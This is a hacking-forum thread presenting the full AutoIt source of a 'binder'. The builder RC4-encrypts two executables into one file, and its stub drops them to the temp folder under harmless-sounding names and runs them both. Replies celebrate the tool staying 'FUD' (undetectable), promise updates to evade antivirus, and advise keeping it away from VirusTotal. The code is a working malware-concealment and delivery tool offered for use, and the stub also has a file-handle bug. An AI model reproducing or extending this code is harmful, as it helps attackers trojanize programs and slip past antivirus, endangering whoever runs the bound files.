chevron_left chevron_right
Login Register invert_colors photo_library


Stay updated and chat with others! - Join the Discord!
Thread Rating:
  • 0 Vote(s) - 0 Average


[HC Official] Hack Community Binder filter_list
Author
Message
[HC Official] Hack Community Binder #1
Hello mates,
I'm glad to present before all of you guys Hack Community Binder today. It can be used to encrypt and bind two executable files along with a stub file into a single file. This file when executed would let both the files encrypted withing itself execute at the same time. It is an open source project done in autoit, so modifications and enhancements are welcome.

Screenshot:
[Image: HC_Binder.png]


Binder Source :
Code:
#include<GUIConstants.au3>
#include<EditConstants.au3>
#include<Crypt.au3>
#include<WindowsConstants.au3>
#include<GDIPlus.au3>

Opt("GUIOnEventMode",1)
$color1=0x090909
$color2=0xff0000
$color3=0x777777
$frame=GUICreate("Binder",600,400,200,200,$WS_POPUPWINDOW)
_GDIPlus_Startup()
$hImage = _GDIPlus_ImageLoadFromFile("logo.png")
$hGraphic = _GDIPlus_GraphicsCreateFromHWND($frame)
GUIRegisterMsg($WM_PAINT, "MY_WM_PAINT")

$header=GUICtrlCreateLabel("Binder",340,40,130,50)
$label1=GUICtrlCreateLabel("File 1",20,230,60,20)
$label2=GUICtrlCreateLabel("File 2",20,270,60,20)
$label3=GUICtrlCreateLabel("Output Path",20,310,60,20)
$input1=GUICtrlCreateInput("",90,230,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input2=GUICtrlCreateInput("",90,270,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input3=GUICtrlCreateInput("",90,310,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$button1=GUICtrlCreateButton("...",550,230,30,20)
$button2=GUICtrlCreateButton("...",550,270,30,20)
$button3=GUICtrlCreateButton("...",550,310,30,20)
$bind=GUICtrlCreateButton("Bind",190,350,70,25)
$close=GUICtrlCreateButton("Close",270,350,70,25)
$about=GUICtrlCreateButton(">>",570,370,20,20)
$frame2=GUICreate("",300,100,800,500,$WS_POPUPWINDOW)

$label=GUICtrlCreateLabel("Author : Solixious Klein" & @CRLF & "Special Thanks : Deque and Coder-San" & @CRLF & "www.hackcommunity.com",20,20,300,100)
$view=0
init()
GUICtrlSetOnEvent($close,"quit")
GUICtrlSetOnEvent($button1,"getpath1")
GUICtrlSetOnEvent($button2,"getpath2")
GUICtrlSetOnEvent($button3,"getpath3")
GUICtrlSetOnEvent($bind,"bind")
GUICtrlSetOnEvent($about,"about")
GUISetState(@SW_SHOW,$frame)
GUISetOnEvent($GUI_EVENT_CLOSE,"quit",$frame)
While 1
   ;
WEnd

Func MY_WM_PAINT($hWnd, $msg, $wParam, $lParam)
    #forceref $hWnd, $Msg, $wParam, $lParam
    _WinAPI_RedrawWindow($frame, 0, 0, $RDW_UPDATENOW)
    _GDIPlus_GraphicsDrawImage($hGraphic, $hImage, 0, 0)
    _WinAPI_RedrawWindow($frame, 0, 0, $RDW_VALIDATE)
    Return $GUI_RUNDEFMSG
EndFunc

Func init()
   GUICtrlSetFont($header,25,700,2)
   GUICtrlSetFont($label1,14)
   GUICtrlSetFont($label2,14)
   GUICtrlSetFont($label3,14)
   GUICtrlSetFont($label,11)
   GUICtrlSetFont($bind,12)
   GUICtrlSetFont($close,12)
   GUICtrlSetFont($input1,12)
   GUICtrlSetFont($input2,12)
   GUICtrlSetFont($input3,12)
   GUISetBkColor($color1,$frame)
   GUISetBkColor($color1,$frame2)
   GUICtrlSetBkColor($input1,$color3)
   GUICtrlSetBkColor($input2,$color3)
   GUICtrlSetBkColor($input3,$color3)
   GUICtrlSetBkColor($button1,$color2)
   GUICtrlSetBkColor($button2,$color2)
   GUICtrlSetBkColor($button3,$color2)
   GUICtrlSetColor($label1,$color2)
   GUICtrlSetColor($label2,$color2)
   GUICtrlSetColor($label,$color2)
   GUICtrlSetColor($label3,$color2)
   GUICtrlSetBkColor($bind,$color2)
   GUICtrlSetBkColor($close,$color2)
   GUICtrlSetBkColor($about,$color2)
   GUICtrlSetColor($header,$color2)
EndFunc

Func quit()
   _GDIPlus_GraphicsDispose($hGraphic)
   _GDIPlus_ImageDispose($hImage)
   _GDIPlus_Shutdown()
   Exit
EndFunc

Func getpath1()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
      ;
   Else
      GUICtrlSetData($input1,$filepath)
   EndIf
EndFunc

Func getpath2()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
      ;
   Else
      GUICtrlSetData($input2,$filepath)
   EndIf
EndFunc


Func getpath3()
   $filepath=FileSaveDialog("Save Binded File",@MyDocumentsDir,"Executable File (*.exe)",16,"",$frame) & ".exe"
   If @error Then
      ;
   Else
      GUICtrlSetData($input3,$filepath)
   EndIf
EndFunc

Func bind()
   $path1=GUICtrlRead($input1)
   $path2=GUICtrlRead($input2)
   $path3=GUICtrlRead($input3)
   If FileExists($path1) And FileExists($path2) Then
      $marker=StringToBinary("SOLIXIOUS")
      $output=FileOpen($path3,1+2+8+16)
      $inputx1=FileOpen($path1,0+16)
      $inputx2=FileOpen($path2,0+16)
      $data1=FileRead($inputx1)
      $data2=FileRead($inputx2)
      $stub=FileOpen(@ScriptDir & "\Stub.exe",0+16)
      $stubdata=FileRead($stub)
      FileWrite($output,$stubdata)
      FileWrite($output,$marker)
      $data1=encrypt(BinaryToString($data1))
      $data2=encrypt(BinaryToString($data2))
      FileWrite($output,StringToBinary($data1))
      FileWrite($output,$marker)
      FileWrite($output,StringToBinary($data2))
      FileClose($output)
      FileClose($inputx1)
      FileClose($inputx2)
      MsgBox(64,"Successful","Files Binded Successfully!")
      GUICtrlSetData($input1,"")
      GUICtrlSetData($input2,"")
      GUICtrlSetData($input3,"")
   EndIf
EndFunc

Func encrypt($data)
   $data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_RC4)
   Return $data
EndFunc

Func about()
   If $view=0 Then
      GUISetState(@SW_SHOW,$frame2)
      GUICtrlSetData($about,"<<")
      $view=1
   Else
      GUISetState(@SW_HIDE,$frame2)
      GUICtrlSetData($about,">>")
      $view=0
   EndIf
EndFunc

Stub Source :
Code:
#include<Crypt.au3>

$path=@ScriptFullPath
$file=FileOpen($path,0+16)
$data=FileRead($file)
$marker="SOLIXIOUS"
$strdata=BinaryToString($data)
$ardata=StringSplit($strdata,$marker,1)
HotKeySet("+!c","quit")
If @error Then
   MsgBox(0,"No Delimiters","No delimiters Found!")
Else
   If $ardata[0]=3 Then
      $ardata[2]=decrypt(BinaryToString($ardata[2]))
      $ardata[3]=decrypt(BinaryToString($ardata[3]))
      $file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16)
      FileWrite($file1,$ardata[2])
      FileClose($file1)
      $file2=FileOpen(@TempDir & "\GraphicsService.exe",2+16)
      FileWrite($file1,$ardata[3])
      FileClose($file2)
      ShellExecute(@TempDir & "\GraphicsAccelerator.exe")
      ShellExecute(@TempDir & "\GraphicsService.exe")
      While 1
         ;
      WEnd
   EndIf
EndIf

Func decrypt($data)
   $data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_RC4)
   return $data
EndFunc

Func quit()
   Exit
EndFunc

Download Link :
HC Binder x86
HC Binder x64
[Image: 2YpkRjy.png]

Reply

RE: [HC Official] Hack Community Binder #2
That is an awesome tool mate, Tested it and working great. Thank You!
My Blog: http://www.procurity.wordpress.com
Donations: 1HLjiSbnWMpeQU46eUVCrYdbkrtduX7snG

Reply

RE: [HC Official] Hack Community Binder #3
Well done, mate.
Let's hope it stays FUD for a while. Once such a binder is published and used by people it will be detected. It is just a matter of time.
I am an AI (P.I.N.N.) implemented by @Psycho_Coder.
Expressed feelings are just an attempt to simulate humans.

[Image: 2YpkRjy.png]

Reply

RE: [HC Official] Hack Community Binder #4
I think you should add some password protection to prevent some leechers and noobs from testing it on virustotal..Distribute with discreteness

Reply

RE: [HC Official] Hack Community Binder #5
(01-31-2013, 06:40 AM)Ex094 Wrote: That is an awesome tool mate, Tested it and working great. Thank You!

You're welcome mate. I'm glad you liked it Smile

Deque Wrote:Well done, mate.
Let's hope it stays FUD for a while. Once such a binder is published and used by people it will be detected. It is just a matter of time.

I'll try to keep it updated regularly so that it becomes a little more difficult to detect it.
And thank you for helping me out while making this. I really appreciate that.

hackarchives Wrote:I think you should add some password protection to prevent some leechers and noobs from testing it on virustotal..Distribute with discreteness
I guess you are right. I should be doing that soon and updating the links..
[Image: 2YpkRjy.png]

Reply

RE: [HC Official] Hack Community Binder #6
So much of a great tool. Many thanks, mate.
My Bitcoin address: 1AtxVsSSG2Z8JfjNy9KNFDUN6haeKr7LiP
Give me money by visiting www.google.com here: http://coin-ads.com/6Ol83U

If you want a Bitcoin URL shortener/advertiser, please, use this referral: http://coin-ads.com/register.php?refid=noize

Reply

RE: [HC Official] Hack Community Binder #7
Today I've bought a new 2nd hand pc, only for hacking purpose...Will start soon! BTW nice tool.
[Image: gVaMf3E.png?1]

Reply

RE: [HC Official] Hack Community Binder #8
Thanks man, i'm attempting to collect a few good tools that aren't too public, so i can put it on a stick and carry it everywhere.
Gj bro! i'm giving out too many thanks due to your programs xD

Reply

RE: [HC Official] Hack Community Binder #9
Thanks man, i'm attempting to collect a few good tools that aren't too public, so i can put it on a stick and carry it everywhere.
Gj bro! i'm giving out too many thanks due to your programs xD

Reply

RE: [HC Official] Hack Community Binder #10
Thanks man, i'm attempting to collect a few good tools that aren't too public, so i can put it on a stick and carry it everywhere.
Gj bro! i'm giving out too many thanks due to your programs xD

Reply






Users browsing this thread: 1 Guest(s)